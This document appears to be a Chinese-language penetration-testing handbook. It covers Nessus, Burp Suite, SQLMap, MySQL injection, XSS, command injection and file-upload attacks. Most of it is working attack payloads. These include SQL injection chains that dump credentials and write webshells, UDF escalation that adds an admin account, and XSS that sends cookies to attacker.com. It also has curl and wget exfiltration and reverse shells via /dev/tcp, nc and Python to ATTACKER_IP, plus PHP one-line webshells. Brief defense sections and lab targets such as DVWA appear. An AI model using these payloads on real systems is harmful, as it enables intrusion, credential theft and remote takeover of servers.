| Credentialed Patch Audit | 凭据扫描 → 检测补丁缺失 | 低 |
| Web Application Tests | Web应用漏洞专项 | 高 |
| Malware Scan | 恶意软件检测 | 中 |
| PCI DSS / CIS | 合规审计 | 低 |
| Mobile Device Scan | 移动设备 (MDM) | 低 |
| DISA STIG | 美国国防部合规检查 | 低 |
Nessus API 自动化 (Python)
import requests
import json
import time
class NessusAPI:
def __init__(self, url='https://localhost:8834',
access_key='', secret_key=''):
self.url = url.rstrip('/')
self.headers = {
'X-ApiKeys': f'accessKey={access_key}; secretKey={secret_key}',
'Content-Type': 'application/json'
}
self.verify = False # 自签名证书
def create_scan(self, name, targets, policy_id=1):
"""创建扫描任务"""
data = {
'uuid': policy_id,
'settings': {
'name': name,
'text_targets': targets, # '192.168.1.1,192.168.1.0/24'
'enabled': True
}
}
r = requests.post(f'{self.url}/scans',
headers=self.headers, json=data,
verify=self.verify)
return r.json()['scan']['id']
def launch_scan(self, scan_id):
r = requests.post(f'{self.url}/scans/{scan_id}/launch',
headers=self.headers, verify=self.verify)
return r.status_code == 200
def get_scan_status(self, scan_id):
r = requests.get(f'{self.url}/scans/{scan_id}',
headers=self.headers, verify=self.verify)
return r.json()['info']['status'] # 'running', 'completed'
def export_report(self, scan_id, fmt='pdf'):
"""导出报告: pdf, html, csv, nessus"""
data = {'format': fmt, 'chapters': 'vuln_hosts_summary'}
r = requests.post(f'{self.url}/scans/{scan_id}/export',
headers=self.headers, json=data,
verify=self.verify)
file_id = r.json()['file']
# 等待导出完成
while True:
r = requests.get(
f'{self.url}/scans/{scan_id}/export/{file_id}/status',
headers=self.headers, verify=self.verify
)
if r.json()['status'] == 'ready':
break
time.sleep(2)
# 下载报告
r = requests.get(
f'{self.url}/scans/{scan_id}/export/{file_id}/download',
headers=self.headers, verify=self.verify
)
with open(f'report.{fmt}', 'wb') as f:
f.write(r.content)
return f'report.{fmt}'
# 使用
# nessus = NessusAPI(access_key='xxx', secret_key='yyy')
# scan_id = nessus.create_scan('Pentest-Web', '192.168.1.100')
# nessus.launch_scan(scan_id)
# while nessus.get_scan_status(scan_id) != 'completed':
# time.sleep(30)
# nessus.export_report(scan_id, 'pdf')
凭据扫描 (Credentialed Scan)
# 配置路径: Scan → Credentials → Windows / SSH
# Windows 凭据:
# - 用户名: Administrator
# - 密码 / LM:NTLM Hash
# - 域 (可选)
# SSH 凭据:
# - 用户名: root
# - 密码 / SSH Private Key + Passphrase
# - 提权方法: sudo / su / su+sudo / dzdo
# 凭据扫描优势:
# 1. 检测补丁缺失 (比无凭据扫描多发现 2-5 倍漏洞)
# 2. 检测本地配置缺陷 (如注册表配置、文件权限)
# 3. 软件枚举 (已安装应用及其CVE)
# 4. 降低误报率 (确认漏洞实际存在)
# 5. 合规审计精确性 (CIS基准扫描)
报告解读与漏洞优先级
| 严重级别 | CVSS | 处理优先级 | 示例 |
|---|---|---|---|
| Critical | 9.0-10.0 | 24小时内修复 | RCE漏洞、未认证数据泄露 |
| High | 7.0-8.9 | 本周内修复 | SQL注入、提权漏洞 |
| Medium | 4.0-6.9 | 本月内修复 | XSS、信息泄露 |
| Low | 0.1-3.9 | 下周期修复 | 低危信息泄露、配置建议 |
| Info | 0.0 | 记录归档 | 开放端口、服务版本信息 |
Burp Suite 完整指南
Web应用安全测试的瑞士军刀
代理配置流程
- 启动Burp Suite,默认监听
127.0.0.1:8080 - 浏览器配置代理指向该地址
- 访问
http://burp下载并导入CA证书 - 在Proxy > Intercept中确认流量拦截正常
Intruder 模块 — 四种攻击类型
| 类型 | 说明 | 适用场景 |
|---|---|---|
| Sniper | 单个位置,逐个Payload测试 | 单参数Fuzzing |
| Battering Ram | 多位置使用相同Payload | 多位置同值测试 |
| Pitchfork | 多位置各自独立Payload列表 | 用户名+密码组合 |
| Cluster Bomb | 多位置全排列组合 | 全面参数组合测试 |
常用BApp扩展推荐
- Logger++ — 增强的HTTP历史记录与分析
- Autorize — 自动化授权绕过检测
- Turbo Intruder — 高速HTTP Fuzzer
- J2EEScan — Java Web应用漏洞扫描
- ActiveScan++ — 增强主动扫描能力
- Retire.js — JavaScript库漏洞检测
🔧 Burp Suite 实战进阶
高级场景:宏自动登录、会话处理、WebSocket测试、OAuth流程分析、GraphQL安全测试
Session Handling — 自动登录与 Token 刷新
// Burp Suite Session Handling 规则配置 (JSON)
// 路径: Settings → Sessions → Session Handling Rules
// 规则1: 自动刷新 CSRF Token
// 范围: 所有需要认证的请求
// 动作: 运行宏 → 触发登录请求 → 提取新Token
// 规则2: 自动登录
// 条件: 检测到 "302 Found" + Location = /login
// 动作: 运行宏 "AutoLogin" → 重新认证 → 替换Cookie
- 宏录制: Project Options → Sessions → Macros → 录制完整的登录流程(GET 登录页 → 提取 CSRF Token → POST 登录 → 提取新 Cookie)
- Token 绑定: 在 Session Handling Rules 中创建规则,检测 401/302 响应 → 自动触发宏 → 替换请求中的 Token/Cookie
- Scope 限定: 仅在目标域名范围内触发规则,避免向外部泄露凭据
WebSocket 安全测试
# Burp Repeater 支持 WebSocket 流量重放
# 1. Proxy → WebSockets History 捕获所有WS消息
# 2. 右键 → Send to Repeater
# 3. Repeater 中修改消息并重放
# WebSocket 常见攻击点
# - 越权: 修改消息中的 user_id/session_id
# - SQL注入: 对 WS 消息参数注入
# - XSS: 如果服务器将消息内容反射到其他用户
# - 拒绝服务: 发送超大数据包或高频请求
GraphQL 安全测试
# Burp Suite + InQL Scanner (BApp)
# 1. BApp Store 安装 "InQL - Introspection GraphQL Scanner"
# 2. 自动发现 /graphql /gql /api/graph 等端点
# 3. 通过 Introspection Query 获取完整 Schema
# 4. 分析 Query/Mutation 中可能的攻击面
# Introspection Query (探测 Schema)
query {
__schema {
types { name kind fields { name type { name kind } } }
queryType { fields { name args { name type { name } } } }
mutationType { fields { name } }
}
}
# GraphQL 常见漏洞
# - IDOR: 查询任意用户数据
# - 深度查询 DoS: {"query":"{a{ b{ c{ d{ e{ f } } } } }"}
# - SQLi via Arguments: query { user(id: "1 OR 1=1") { name } }
# - 未授权的 Mutation: deleteUser, updateRole 等操作
Turbo Intruder — 高速 Fuzzing
# Turbo Intruder 自定脚本 (比普通 Intruder 快 10-100 倍)
# 使用 HTTP 管道 + 连接复用
# 基本模板:
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=5, # 并发连接数
requestsPerConnection=100, # 每连接请求数
pipeline=True # HTTP 管道
)
for word in wordlists.clipboard:
engine.queue(target.req, word.rstrip())
def handleResponse(req, interesting):
if '200 OK' in req.response:
table.add(req)
OAuth 2.0 常见漏洞测试
| 攻击类型 | 测试点 | Burp 操作 |
|---|---|---|
| redirect_uri 劫持 | 修改 redirect_uri 为攻击者域名 | Proxy 拦截 → 修改参数 → 重放 |
| state 参数缺失 | 移除 state → 检查 CSRF | 删除 state → 观察响应 |
| scope 权限提升 | 添加 admin/write scope | Proxy 拦截 → 追加 scope |
| response_type 混淆 | code → token 切换 | 篡改 response_type |
| JWT 签名绕过 | alg=none / HMAC 混淆 | JWT Editor → 修改算法 |
SQLMap — 自动化SQL注入
最强大的SQL注入检测与利用工具
基础检测
# GET参数注入
sqlmap -u "http://target.com/page?id=1"
# POST参数注入
sqlmap -u "http://target.com/login" --data="username=admin&password=pass"
# Cookie注入 (--level 2+)
sqlmap -u "http://target.com" --cookie="session=abc" --level=2
# 从Burp请求文件导入
sqlmap -r request.txt
# 指定注入参数
sqlmap -u "http://target.com/page?id=1&cat=2" -p id
数据库枚举链
# 列出所有数据库
sqlmap -u "..." --dbs
# 获取表
sqlmap -u "..." -D database_name --tables
# 获取列
sqlmap -u "..." -D database_name -T table_name --columns
# 脱库
sqlmap -u "..." -D db -T users -C "user,pass" --dump
# 全部脱库(慎用)
sqlmap -u "..." --dump-all
WAF绕过与高级技巧
# Tamper脚本绕过WAF
sqlmap -u "..." --tamper=space2comment,charencode,randomcase
# 随机UA + 延迟规避
sqlmap -u "..." --random-agent --delay=3
# 时间盲注优化
sqlmap -u "..." --technique=T --time-sec=10
# 二阶注入
sqlmap -u "http://t.com/first" --second-url="http://t.com/second"
# 文件操作
sqlmap -u "..." --file-read="/etc/passwd"
sqlmap -u "..." --file-write="shell.php" --file-dest="/var/www/shell.php"
# 获取OS Shell
sqlmap -u "..." --os-shell
🗄️ MySQL 注入深度解析
从基础 UNION 注入到高级技巧 — 读写文件、UDF提权、DNS带外、WAF绕过全解
注入类型与检测方法
# ===== 1. 基于错误的注入 (Error-Based) =====
# 利用: extractvalue(), updatexml(), geometrycollection()
# 检测 Payload:
1' AND extractvalue(1,concat(0x7e,database()))-- -
1' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
1' AND ST_LatFromGeoHash((SELECT * FROM(SELECT * FROM(
test.test WHERE id=1 AND 1=gtid_subset(
@@version,1))a)b))-- -
# ===== 2. 布尔盲注 (Boolean-Based) =====
# 原理: 根据页面返回的 TRUE/FALSE 状态逐字符推断数据
1' AND 1=1-- - # 正常页面
1' AND 1=2-- - # 异常页面
1' AND SUBSTR((SELECT database()),1,1)='t'-- - # 逐位猜解
# ===== 3. 时间盲注 (Time-Based) =====
1' AND SLEEP(5)-- -
1' AND IF(SUBSTR(database(),1,1)='t',SLEEP(5),0)-- -
# ===== 4. UNION 注入 =====
# 前提: 知道原查询的列数
1' ORDER BY 3-- - # 判断列数
1' UNION SELECT 1,2,3-- - # 找回显位置
1' UNION SELECT 1,database(),user()-- -
# ===== 5. 堆叠查询 (Stacked Queries) =====
1'; INSERT INTO users VALUES('hacker','pass');-- -
1'; DROP TABLE users;-- -
MySQL 文件操作与提权
# ===== INTO OUTFILE — 写入文件 (需要 FILE 权限) =====
SELECT ''
INTO OUTFILE '/var/www/html/shell.php';
# UNION 注入写Shell
1' UNION SELECT 1,'',
3 INTO OUTFILE '/var/www/html/c.php'-- -
# 写入到可写目录的常见路径:
# /var/www/html/ /var/www/ /tmp/ C:\xampp\htdocs\
# ===== LOAD_FILE — 读取文件 =====
SELECT LOAD_FILE('/etc/passwd');
1' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
# 读取配置文件
SELECT LOAD_FILE('/var/www/config.php');
SELECT LOAD_FILE('C:\\xampp\\htdocs\\config.inc.php');
# ===== UDF 提权 (User Defined Function) =====
# 条件: MySQL 以 root/SYSTEM 运行 + secure_file_priv 为空
# 1. 检查 plugin 目录
SELECT @@plugin_dir;
# 2. 上传 UDF DLL (lib_mysqludf_sys.so / udf.dll)
# 3. 创建函数
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.dll';
# 4. 执行系统命令
SELECT sys_exec('net user hacker Pass123! /add');
# ===== MOF 提权 (Windows XP/2003) =====
# 通过写入 MOF 文件到 %SystemRoot%\system32\wbem\mof\ 执行命令
Information_Schema 信息收集
# 列出所有数据库
SELECT schema_name FROM information_schema.schemata;
# 列出当前库的所有表
SELECT table_name FROM information_schema.tables
WHERE table_schema=database();
# 列出指定表的全部列
SELECT column_name FROM information_schema.columns
WHERE table_name='users';
# 读取表数据 (确认列名后)
SELECT concat(column1,':',column2) FROM table_name;
# 无 Information_Schema 时的绕过 (MySQL 5.7+)
# 使用无列名注入
SELECT 1,2,3 UNION SELECT * FROM users;
SELECT `2` FROM (SELECT 1,2,3 UNION SELECT * FROM users)a;
WAF 绕过技巧汇总
| 绕过类别 | 方法 | 示例 |
|---|---|---|
| 大小写混淆 | SeLeCt 替代 SELECT | 1' UnIoN SeLeCt 1,2,3-- - |
| 双写绕过 | SELSELECTECT 被过滤后变为 SELECT | 1' UNIUNIONON SELECT 1-- - |
| 注释内联 | /**/ 替代空格 | SELECT/**/1/**/FROM/**/users |
| 科学计数法 | 1.e(0) = 1 | 1' AND 1.e(UNION SELECT 1)='1 |
| 浮点数截断 | WHERE id=1.0union | 1.0union select 1,2,3-- - |
| 编码绕过 | URL/Unicode/Hex编码 | %55nion%53elect 1,2,3 |
| 等价函数 | mid()=substr() | 1' AND mid(database(),1,1)='a' |
| 空白符替代 | %09 %0a %0d %0b %0c %a0 | 1'%0aUNION%0aSELECT%0a1,2,3 |
| 括号绕过 | SELECT(column)FROM(table) | 1'UNION(SELECT(1),(2),(3))-- - |
secure_file_priv 为空或指向可写目录。MySQL 8.0+ 默认安全加固,部分旧技巧(如 MOF 提权)已失效。推荐使用 SQLMap 自动化检测注入类型。
💉 SQL 注入实战进阶
基于 Kali 书籍第十二/十三章 — Union 联合注入、information_schema 信息枚举、布尔盲注、时间盲注完整流程
SQL 注入分类总览
| 分类维度 | 类型 | 说明 |
|---|---|---|
| 按数据类型 | 数字型 | ?id=1 and 1=1 |
| 字符型 | ?id=1' and '1'='1 | |
| 搜索型 | LIKE 语句注入 | |
| 按提交方式 | GET 型 | URL 参数注入 (sqli-labs Less 1-10) |
| POST 型 | 表单提交注入 (Less 11-14) | |
| Cookie 型 | Cookie 值注入 (Less 20-22) | |
| HTTP Header 型 | User-Agent/Referer 注入 | |
| 按执行效果 | 联合查询注入 | 使用 UNION SELECT 直接回显数据 |
| 报错注入 | 利用数据库报错信息泄漏数据 | |
| 布尔盲注 | 根据页面 True/False 变化逐位猜解 | |
| 时间盲注 | 根据页面响应延迟判断条件真假 |
注入点探测 — 经典手法
# 步骤1: 单引号测试 → 触发 SQL 语法错误
http://target.com/page.php?id=1' # 返回错误 → 存在注入点
http://target.com/page.php?id=1" # 双引号测试
# 步骤2: 判断字符型 vs 数字型
# 数字型: ?id=1 和 ?id=2-1 返回相同 → 数字型
http://target.com/page.php?id=2-1 # 等同于 id=1
# 步骤3: 判断列数 (ORDER BY / UNION SELECT NULL)
http://target.com/page.php?id=1' order by 3--+ # 正常
http://target.com/page.php?id=1' order by 4--+ # 报错 → 共3列
# 步骤4: 判断回显位置
http://target.com/page.php?id=-1' union select 1,2,3--+
# 页面回显数字"2"和"3"的位置即注入回显位
Union 联合注入完整流程 (sqli-labs Less-1)
# === 第1步: 获取数据库名 ===
# URL: ?id=-1' union select 1,database(),3--+
# SQL: SELECT * FROM users WHERE id='-1' union select 1,database(),3;
# 关键: id=-1 使原查询为空 → union 结果回显
# 可替换 database() 的其他函数:
# version() 数据库版本
# user() 当前数据库用户
# @@datadir 数据库数据路径
# @@version_compile_os 操作系统版本
# === 第2步: 获取所有表名 ===
# ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
# 结果: emails,referers,uagents,users
# === 第3步: 获取字段名 ===
# ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
# 结果: id,username,password
# === 第4步: 脱库 ===
# ?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
# 0x3a = 十六进制冒号(:) → 分隔用户名和密码
# 结果: admin:admin123,Dumb:Dumb,...
# === 第5步: 格式化输出 ===
# ?id=-1' union select 1,group_concat(username,0x3a,password,0x3C68722F3E),3 from users--+
# 0x3C68722F3E = <hr/> → HTML换行
布尔盲注 (Boolean-Based Blind)
# === 确认可用 ===
# ?id=1' and '1'='1 → 正常 (True)
# ?id=1' and '1'='2 → 异常 (False)
# === 二分法猜解数据库名长度 ===
# ?id=1' and (length(database())>5)--+ → True
# ?id=1' and (length(database())>10)--+ → False
# ?id=1' and (length(database())=8)--+ → True (security, 长度=8)
# === 逐字符猜解数据库名 ===
# 第1个字符: ?id=1' and (ascii(substr(database(),1,1))=115)--+ → True (s)
# 第2个字符: ?id=1' and (ascii(substr(database(),2,1))=101)--+ → True (e)
# ...继续猜解剩余字符 → security
# === 猜解表名 ===
# ?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101)--+
# 101 = 'e' → emails 表
# === 猜解字段 ===
# ?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105)--+
# 105 = 'i' → id 字段
# === 逐位猜解数据 ===
# ?id=1' and (ascii(substr((select password from users limit 0,1),1,1))=97)--+
# 97 = 'a' → 密码第一个字符
时间盲注 (Time-Based Blind)
# 原理: 条件为True执行SLEEP(N)→延迟N秒, 条件为False→立即返回
# === 确认可用 ===
# ?id=1' and if(1=1, sleep(3), 0)--+ → 延迟3秒
# ?id=1' and if(1=2, sleep(3), 0)--+ → 无延迟
# === 猜解数据库名长度 ===
# ?id=1' and if(length(database())=8, sleep(3), 0)--+
# 延迟3秒 → 长度=8
# === 逐字符猜解 ===
# ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(3), 0)--+
# 延迟3秒 → 第1个字符 = s
# === 各数据库时间函数 ===
# MySQL: sleep(5) / benchmark(10000000,sha1(1))
# PostgreSQL: pg_sleep(5)
# MSSQL: WAITFOR DELAY '0:0:5'
# Oracle: dbms_lock.sleep(5)
# SQLite: randomblob(100000000)
报错注入 (Error-Based)
# MySQL 常用报错函数:
# extractvalue(1, concat(0x7e, (SELECT ...))) → XPATH 错误
# updatexml(1, concat(0x7e, (SELECT ...)), 1) → XPATH 错误
# floor(rand(0)*2) + group by → 主键重复
# extractvalue 示例:
?id=1' and extractvalue(1, concat(0x7e, (select database())))--+
# 返回: XPATH syntax error: '~security'
# updatexml 获取表名:
?id=1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())), 1)--+
# 截取显示 (extractvalue仅显示32字符):
?id=1' and extractvalue(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1, 30)))--+
# MSSQL: convert(int, @@version) → 类型转换泄漏版本
XSS与命令注入工具
XSStrike / Commix 专项工具
XSStrike — XSS检测与利用
# 基本扫描
python3 xsstrike.py -u "http://target.com/search?q=test"
# 爬虫模式(自动发现参数)
python3 xsstrike.py -u "http://target.com" --crawl
# 盲打XSS
python3 xsstrike.py -u "http://target.com" --blind
# 自定义Fuzzer
python3 xsstrike.py -u "http://target.com" --fuzzer
# 使用Burp代理
python3 xsstrike.py -u "http://target.com" --proxy http://127.0.0.1:8080
Commix — 命令注入检测
# 基本检测
python commix.py -u "http://target.com/vuln.php?id=1"
# POST数据注入
python commix.py -u "http://target.com/vuln.php" --data="ip=127.0.0.1"
# 使用代理
python commix.py -u "..." --proxy="http://127.0.0.1:8080"
# 获取反向Shell
python commix.py -u "..." --os-shell
🛡️ XSS 攻防实战手册
反射型/存储型/DOM型全覆盖 — 绕过过滤器、WAF绕过、CSP绕过、完整防御方案
三种 XSS 类型对比
| 类型 | 触发方式 | 持久性 | 影响范围 |
|---|---|---|---|
| 反射型 XSS | URL参数/表单输入即时反射 | 一次性 | 点击恶意链接的用户 |
| 存储型 XSS | 恶意代码存入数据库 | 持久 | 所有访问页面的用户 |
| DOM型 XSS | 客户端JS操作DOM | 一次性 | 同反射型 |
| Blind XSS | 存储到后台管理页 | 持久 | 管理员/内部用户 |
| Self XSS | 仅影响自身 | 视情况 | 当前用户 |
XSS Payload 分类武器库
# ===== 基础 Payload =====
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
# ===== 事件处理器系列 =====
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
# ===== 伪协议系列 =====
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
# ===== 编码绕过 =====
<img src=x onerror="alert(1)"> # HTML Entity
<script>eval(atob('YWxlcnQoMSk='))</script> # Base64
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script> # Hex
<script>eval('alert(1)')</script> # Unicode
# ===== 标签/属性绕过 (当 script 被过滤) =====
<img src=1 onerror=alert(1)>
<image src=1 onerror=alert(1)>
<body onpageshow=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
# ===== Cookie 窃取 =====
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<script>new Image().src='https://attacker.com/?c='+document.cookie</script>
# ===== DOM 操作 (修改页面内容) =====
<script>
document.getElementById('login-form').action='https://attacker.com/steal';
</script>
WAF 高级绕过技术
# ===== 大小写混淆 =====
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
# ===== 标签嵌套 =====
<scr<script>ipt>alert(1)</scr</script>ipt>
# ===== 空白符混淆 =====
<img/onerror=alert(1)//src=x> # / 代替空格
<img src=x onerror=alert(1)> # %0a 换行
# ===== null字节截断 =====
<scr%00ipt>alert(1)</script> # %00 截断 WAF匹配
# ===== 畸形标签 =====
<img src="1"onerror=alert(1)> # 省略空格
<img src=x onerror =alert(1)> # 多余空格
# ===== 表达式绕过 (Angular/React) =====
{{constructor.constructor('alert(1)')()}} # AngularJS
{{''.__proto__.constructor('alert(1)')()}}
# ===== CSP 绕过技巧 =====
# script-src 'self' → JSONP端点
<script src="/api/jsonp?callback=alert(1)"></script>
# script-src 'unsafe-eval' → eval
<script>eval(location.hash.slice(1))</script>#alert(1)
# default-src 'none' → DNS prefetch (侧信道)
<link rel="dns-prefetch" href="//attacker.com">
防御方案 (代码层面)
# ===== 输出编码 (核心防御) =====
# HTML上下文: 编码 < > " ' &
from html import escape
safe_output = escape(user_input)
# JavaScript上下文: 编码为 JSON
import json
safe_output = json.dumps(user_input)
# ===== CSP 策略配置 =====
# Content-Security-Policy:
# default-src 'self';
# script-src 'self' 'nonce-{random}';
# object-src 'none';
# base-uri 'self';
# require-trusted-types-for 'script';
# ===== Cookie 安全属性 =====
# Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict
# ===== 输入验证 =====
import re
def sanitize_input(user_input):
# 白名单: 仅允许字母数字和基本标点
return re.sub(r'[^a-zA-Z0-9\s\.\,\-\_\@]', '', user_input)
# ===== X-XSS-Protection (已弃用,但可作为额外层) =====
# X-XSS-Protection: 1; mode=block
⚡ 命令执行漏洞
代码注入/命令注入 (RCE) — 成因分析、利用手法、常用工具、防御方案
漏洞成因与分类
命令执行漏洞(RCE, Remote Code Execution)是指攻击者通过注入恶意代码,使服务器端执行任意系统命令。属于 OWASP Top 10 高危漏洞。
| 类型 | 说明 | 触发函数 |
|---|---|---|
| 代码执行 | 注入代码被解释器直接执行 | eval(), assert(), preg_replace(/e), include() |
| 命令执行 | 注入系统命令被Shell执行 | system(), exec(), shell_exec(), passthru(), `` (反引号) |
| 表达式注入 | 模板/表达式引擎注入 | EL (Java), OGNL (Struts2), Jinja2/Twig |
| 反序列化 | 反序列化魔术方法触发 | unserialize(), readObject(), pickle.loads() |
PHP 命令注入函数
# PHP 危险函数清单:
system('id') # 执行命令并输出结果
exec('whoami', $out) # 执行命令,结果存入数组
shell_exec('ls -la') # 通过Shell执行,返回完整输出
passthru('cat /etc/passwd') # 执行并直接输出
popen('ls', 'r') # 打开进程文件指针
proc_open('cmd', [], $pipes) # 更强大的进程控制
`ls -la` # 反引号运算符 (等同于shell_exec)
# 代码执行函数:
eval("system('id');") # 执行PHP代码
assert("system('id')") # PHP 5/7 (PHP 8已移除)
preg_replace('/.*/e', 'system("id")', 'x') # /e 模式 (PHP 5.5已弃用)
include($_GET['file']); # 文件包含也可执行PHP代码
create_function('$a', 'return system($a);') # 匿名函数 (PHP 7.2弃用)
# 常见注入点:
# ?cmd=;id → 分号分隔
# ?cmd=|id → 管道符
# ?cmd=`id` → 反引号
# ?cmd=$(id) → 命令替换
# ?cmd=&& id → 逻辑与
# ?cmd=|| id → 逻辑或
# ?cmd=%0aid → 换行注入
命令分隔符与注入技巧
| 分隔符 | Linux | Windows | 说明 |
|---|---|---|---|
; | ✅ | ❌ | 顺序执行,前面失败后面仍执行 |
| | ✅ | ✅ | 管道,前面输出作为后面输入 |
|| | ✅ | ✅ | 前面失败才执行后面 |
&& | ✅ | ✅ | 前面成功才执行后面 |
& | ✅ | ✅ | 后台执行 (编码为%26) |
%0a / %0d | ✅ | ❌ | 换行/回车注入 |
反引号 `` | ✅ | ❌ | 命令替换 |
$() | ✅ | ❌ | 命令替换 |
# DVWA 命令注入 Low Level
# 输入: 127.0.0.1; cat /etc/passwd
# 执行: ping -c 4 127.0.0.1; cat /etc/passwd
# 空格绕过技巧:
# ?cmd=cat${IFS}/etc/passwd → IFS 环境变量
# ?cmd=cat</etc/passwd → 输入重定向
# ?cmd={cat,/etc/passwd} → 花括号展开
# ?cmd=cat$IFS$9/etc/passwd → IFS+参数占位
# 黑名单绕过:
# ?cmd=ca\t /etc/passwd → 反斜杠续行
# ?cmd=c'a't /etc/passwd → 单引号
# ?cmd=c"a"t /etc/passwd → 双引号
# ?cmd=/???/c?t /etc/passwd → 通配符
# ?cmd=echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh → Base64
Commix — 自动化命令注入工具
# Commix (COMMand Injection eXploiter)
# 安装: apt install commix
# 基础扫描:
commix --url="http://target.com/page.php?ip=127.0.0.1"
# POST 参数:
commix --url="http://target.com/login.php" --data="ip=127.0.0.1"
# 指定注入技术:
commix --url="http://target.com/page.php?ip=INJECT" --technique=t
# t = 基于时间, f = 基于文件, r = 基于返回
# 使用Cookie:
commix --url="http://target.com/page.php?ip=127.0.0.1" --cookie="PHPSESSID=abc"
# 批量扫描:
commix --file=urls.txt
# 获取 Shell:
commix --url="http://target.com/page.php?ip=INJECT" --os-shell
# 指定分隔符测试:
commix --url="http://target.com/?cmd=INJECT" --prefix="'" --suffix="#"
无回显命令执行 — 外带数据 (OOB)
# 场景: 命令被执行但页面无回显
# 方法: 将结果通过 DNS/HTTP 带出
# === DNS 外带 (DNSLog) ===
# 1. 获取DNSLog平台域名: abc.dnslog.cn
# 2. 注入Payload:
; ping `whoami`.abc.dnslog.cn
# 3. 在DNSLog平台查看DNS查询记录 → 获取命令结果
# === HTTP 外带 ===
# 1. 启动监听: nc -lvp 4444
# 或在VPS上监听HTTP请求
# 2. 注入Payload:
; curl http://attacker.com/$(id|base64)
; wget http://attacker.com/`cat /etc/passwd|base64`
# === 写入WebShell ===
; echo '<?php @eval(\$_POST[cmd]); ?>' > /var/www/html/shell.php
# 访问: http://target.com/shell.php → 蚁剑连接
# === 反弹Shell ===
; bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'
; nc -e /bin/bash ATTACKER_IP 4444
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
防御方案
- 避免直接调用系统命令: 尽量使用语言内置API替代 shell_exec/system 等函数
- 白名单验证: 如需执行命令,使用白名单限制可执行命令和参数
- 输入过滤: 过滤
; | & $ \ ` ( ) { }等Shell元字符 - escapeshellcmd/escapeshellarg: PHP 内置转义函数
- 最小权限原则: Web服务以低权限用户运行 (www-data), 使用 chroot/jail
- disable_functions: 在 php.ini 中禁用 system/exec/shell_exec/passthru 等函数
- WAF规则: 配置命令注入检测规则,拦截常见注入Payload
📤 文件上传漏洞实战
基于 Kali 书籍第二十一章 — Low/Medium/High 全级别 + 黑白名单绕过 + .htaccess 攻击 + %00 截断 + 图片马
文件上传漏洞概述
文件上传功能成为漏洞的根本原因:对用户上传文件的类型、内容、大小没有进行严格过滤和检查,导致攻击者上传 Webshell 获取服务器权限。
一句话木马(小马):
# PHP 一句话木马
<?php @eval($_POST['cmd']); ?>
# ASP 一句话木马
<% eval request("cmd") %>
# ASPX 一句话木马
<%@ Page Language="Jscript" %>
<% eval(Request.Item["cmd"]) %>
# 一句话木马三要素:
# 1. 脚本开始标记 (<?php, <%, etc.)
# 2. 核心执行函数 (eval(), execute(), assert())
# 3. 接收外部输入 ($_POST, $_GET, $_REQUEST, Request.Item)
Low 级别 — 无任何过滤
move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path),未对文件类型、大小、内容做任何检测。
# DVWA Low level → File Upload
# 步骤1: 编写 Webshell
echo '<?php @eval($_POST["jfedu"]); ?>' > shell.php
# 步骤2: 上传 shell.php → 返回路径:
# ../../hackable/uploads/shell.php
# 实际路径: /var/www/html/dvwa/hackable/uploads/shell.php
# 步骤3: 中国蚁剑/AntSword 连接
# URL: http://192.168.31.120/dvwa/hackable/uploads/shell.php
# 密码: jfedu
# 连接成功 → 文件管理 → 数据库操作
# PHP $_FILES 关键字段:
# $_FILES['file']['name'] → 上传文件名
# $_FILES['file']['type'] → 文件 MIME 类型
# $_FILES['file']['size'] → 文件大小 (bytes)
# $_FILES['file']['tmp_name'] → 临时文件名
# $_FILES['file']['error'] → 错误代码
Medium 级别 — MIME-Type 验证绕过
# Source Code 分析:
# $uploaded_type = $_FILES['uploaded']['type'];
# 仅允许: image/jpeg 或 image/png
# 且文件大小 < 100000 字节 (100KB)
# ⚡ 绕过方法: Burp Suite 抓包修改 Content-Type
# 1. 上传 shell.php, Burp 拦截
# 2. 修改 Content-Type: application/x-php → image/png
# 3. Forward → 上传成功
# 原始请求:
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php
# 修改后:
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/png # ← 修改此行
# ⚠️ MIME-Type 验证仅检查 HTTP Header,不检查文件内容
# → 可被轻易绕过
High 级别 — 图片马绕过
# Source Code 分析:
# getimagesize($uploaded_tmp) 函数检查文件是否为真实图片
# 仅允许 JPEG/PNG 格式
# ⚡ 绕过方法: 制作图片 Webshell
# 方法1: 直接构造 (GIF89a 文件头)
echo 'GIF89a<?php @eval($_POST["cmd"]); ?>' > shell.gif
# GIF89a 是GIF图片的魔数,但内容是PHP代码
# 方法2: 使用 copy 命令合并图片和木马 (Windows)
copy /b normal.jpg + shell.php shell.jpg
# 方法3: 使用 cat 合并 (Linux)
cat normal.jpg shell.php > shell.jpg
# ⚡ 配合文件包含漏洞执行:
